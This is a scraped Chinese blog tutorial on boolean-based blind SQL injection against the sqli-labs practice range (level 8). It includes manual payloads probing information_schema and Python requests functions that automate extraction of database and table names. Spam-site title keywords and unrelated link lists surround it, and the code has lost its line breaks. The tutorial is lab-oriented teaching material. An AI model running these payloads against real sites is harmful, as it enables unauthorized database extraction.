中文亚洲精品无码_熟女乱子伦免费_人人超碰人人爱国产_亚洲熟妇女综合网

當前位置: 首頁 > news >正文

連云港網(wǎng)站建設(shè)案例網(wǎng)店運營教學

連云港網(wǎng)站建設(shè)案例,網(wǎng)店運營教學,電腦網(wǎng)站制作軟件,網(wǎng)頁設(shè)計難還是網(wǎng)站建設(shè)南在sql注入時,使用python腳本可以大大提高注入效率,這里演示一下編寫python腳本實現(xiàn)布爾盲注的基本流程: 演示靶場:sqli-labs 布爾盲注 特點:沒有回顯沒有報錯,但根據(jù)sql語句正常與否返回不同結(jié)果&#x…

在sql注入時,使用python腳本可以大大提高注入效率,這里演示一下編寫python腳本實現(xiàn)布爾盲注的基本流程:

演示靶場:sqli-labs

布爾盲注

特點:沒有回顯沒有報錯,但根據(jù)sql語句正常與否返回不同結(jié)果,通過語句是否正常來注入。

靶場:sqli-labs第八關(guān)

手注思路

先簡單講講手工注入時的大概思路,sql語句如下:

?單引號就能閉合,結(jié)果正常時會顯示you are in......,結(jié)果不正常什么都沒有。

?所以我們只需要根據(jù)是否有you are in來判斷注入成功與否,構(gòu)造語句如下:

# 判斷數(shù)據(jù)庫名長度
/?id=1' and length((select database()))=8--+# 挨個判斷數(shù)據(jù)庫名
/?id=1' and ascii(substr((select database()),1,1))=115--+
# 第一位為's'
/?id=1' and ascii(substr((select database()),2,1))=102--+
# 第二位為'e'
...# 判斷表名
/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))=102--+# 判斷字段名
/?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='表名' limit 1,1),1,1))=102--+# 判斷值
/?id=1' and ascii(substr((select 字段 from 表 limit 1,1),1,1))=1--+

python腳本自動化

可以看到手注需要一個一個試工作量是非常非常巨大的,這時候一個python腳本就可以很好的解放我們的雙手:

需要用到requests包來建立連接訪問目標地址,根據(jù)回顯特征進行下一步操作,這里正確標志是"You are in...":

import requestsrequests.adapters.DEFAULT_RETRIES = 5
conn = requests.session()
conn.keep_alive = False
flag = 'You are in...'

獲取數(shù)據(jù)庫相關(guān)信息:

def GetDBName(url):DBName = ''print("開始獲取數(shù)據(jù)庫名長度...")len = 0for l in range(1,99):payload = f"' and length((select database()))={l}--+"res = conn.get(url=url+payload)if flag in res.content.decode("utf-8"):print("數(shù)據(jù)庫名長度為:"+str(l))len = lbreakprint("開始獲取數(shù)據(jù)庫名...")for i in range(1, len+1):for j in range(33,127):payload = f"' and ascii(substr((select database()),{i},1))={j}--+"res = conn.get(url=url+payload)if flag in res.content.decode("utf-8"):DBName += chr(j)print(DBName)breakreturn DBName

將payload與網(wǎng)址進行拼接,使用requests包來訪問網(wǎng)站,根據(jù)返回頁面是否有flag出現(xiàn)來確認是否成功。運行結(jié)果如下所示:

?接下來就是獲取表、字段以及其中的具體數(shù)據(jù)了,寫下去你會發(fā)現(xiàn)總體流程都是一樣的,以表為例,大致步驟如下:

獲取數(shù)量(有多少張表)--> 獲取每張表表名的長度 --> 獲取具體的表名

代碼如下:

def GetTables(url,db):print("正在獲取數(shù)據(jù)表數(shù)量")tnum = 0t_len = 0tname = ""for i in range(1,50):payload = f"'and (select count(*)table_name from information_schema.tables where table_schema=database())={i}--+"res = conn.get(url=url + payload)if flag in res.content.decode("utf-8"):tnum = iprint(f"共有{i}張表")breakfor i in range(0,tnum):for n in range(1,50):payload = f"'and length(substr((select table_name from information_schema.tables where table_schema=database() limit {i},1),1))={n}--+"res = conn.get(url=url + payload)if flag in res.content.decode("utf-8"):print(f"第{i+1}張表的長度為{n}")t_len = nbreakfor l in range(1,t_len+1):for j in range(33,127):payload = f"' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit {i},1),{l},1))={j}--+"res = conn.get(url=url + payload)if flag in res.content.decode("utf-8"):tname += chr(j)print(tname)breaktname += ','result_list = tname[:-1].split(",")return result_list

運行結(jié)果像這樣:

?剩下的部分除了payload基本上和獲取表信息一模一樣,可以自己嘗試一下。

完整腳本放在這里了,僅供參考:布爾盲注python腳本資源-CSDN文庫

http://www.risenshineclean.com/news/48039.html

相關(guān)文章:

  • 網(wǎng)站的黏度百度筆記排名優(yōu)化
  • 長壽網(wǎng)站建設(shè)網(wǎng)站優(yōu)化排名公司
  • 什么是網(wǎng)絡營銷型網(wǎng)站網(wǎng)絡營銷和傳統(tǒng)營銷的關(guān)系
  • 用自己照片做衣服 杯子的是哪個網(wǎng)站aso排名
  • wordpress設(shè)定主頁紹興seo
  • 手機微官網(wǎng)和pc端網(wǎng)站怎么做成功的品牌推廣案例分析
  • 武漢教育網(wǎng)站建設(shè)公司排名營銷推廣策劃方案范文
  • app導航網(wǎng)站建設(shè)多少錢seo含義
  • 廣州化妝品網(wǎng)站制作山西網(wǎng)站seo
  • 分銷管理系統(tǒng)上海網(wǎng)站排名優(yōu)化
  • 網(wǎng)上做任務網(wǎng)站有哪些內(nèi)容長沙seo外包
  • 網(wǎng)站上的導航欄怎么做上海牛巨微seo優(yōu)化
  • 自己建網(wǎng)站教程北京網(wǎng)站推廣公司
  • 網(wǎng)站如何分頁西安網(wǎng)站公司推廣
  • 天津市建行網(wǎng)站百度指數(shù)查詢手機版app
  • 懷化市建設(shè)局網(wǎng)站足球世界排名前十
  • 區(qū)校合作網(wǎng)站建設(shè)方案網(wǎng)站查詢平臺
  • 網(wǎng)站專題二級頁怎么做網(wǎng)站關(guān)鍵詞優(yōu)化公司哪家好
  • 藍色商務網(wǎng)站模板深圳龍華區(qū)大浪社區(qū)
  • 網(wǎng)站設(shè)計與制作說明怎么制作網(wǎng)頁廣告
  • 汕頭市手機網(wǎng)站建設(shè)品牌steam交易鏈接在哪里
  • 國外網(wǎng)站建設(shè)現(xiàn)狀圖分析產(chǎn)品經(jīng)理培訓哪個機構(gòu)好
  • 網(wǎng)站開發(fā)哪個城市發(fā)展好東莞seo技術(shù)培訓
  • android網(wǎng)站客戶端開發(fā)關(guān)鍵詞挖掘ppt
  • 網(wǎng)站怎么做關(guān)鍵詞搜索數(shù)據(jù)分析培訓機構(gòu)哪家好
  • 濟南集團網(wǎng)站建設(shè)公司好軟文范例100字以內(nèi)
  • 怎么查詢網(wǎng)站空間商百度一下你就知道了百度
  • 手機客戶端網(wǎng)站怎么做網(wǎng)絡營銷一般月薪多少
  • 如何做話費卡回收網(wǎng)站株洲網(wǎng)頁設(shè)計
  • 織夢網(wǎng)站怎么上傳友鏈大全